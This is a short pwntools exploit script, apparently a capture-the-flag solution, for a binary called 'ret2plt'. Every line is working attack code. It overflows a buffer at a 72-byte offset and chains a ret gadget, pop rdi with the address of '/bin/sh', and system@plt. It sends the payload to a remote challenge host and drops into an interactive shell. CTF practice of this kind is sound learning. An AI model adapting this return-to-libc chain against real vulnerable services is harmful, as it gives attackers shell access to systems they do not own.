from pwn import *

context.binary = elf = ELF('./ret2plt', checksec=False)

OFFSET_TO_RIP = 72

#p = process(elf.path)
p = remote("offsec.m0lecon.it", 13501)

pop_rdi = elf.sym.pop_rdi_ret
binsh = next(elf.search(b'/bin/sh\x00'))
ret = ROP(elf).find_gadget(['ret']).address

payload = flat(
    b'A'*OFFSET_TO_RIP,
    p64(ret),
    p64(pop_rdi),
    p64(binsh),
    p64(elf.plt.system),
)

p.recvuntil(b'order?\n')
p.send(payload)
p.interactive()

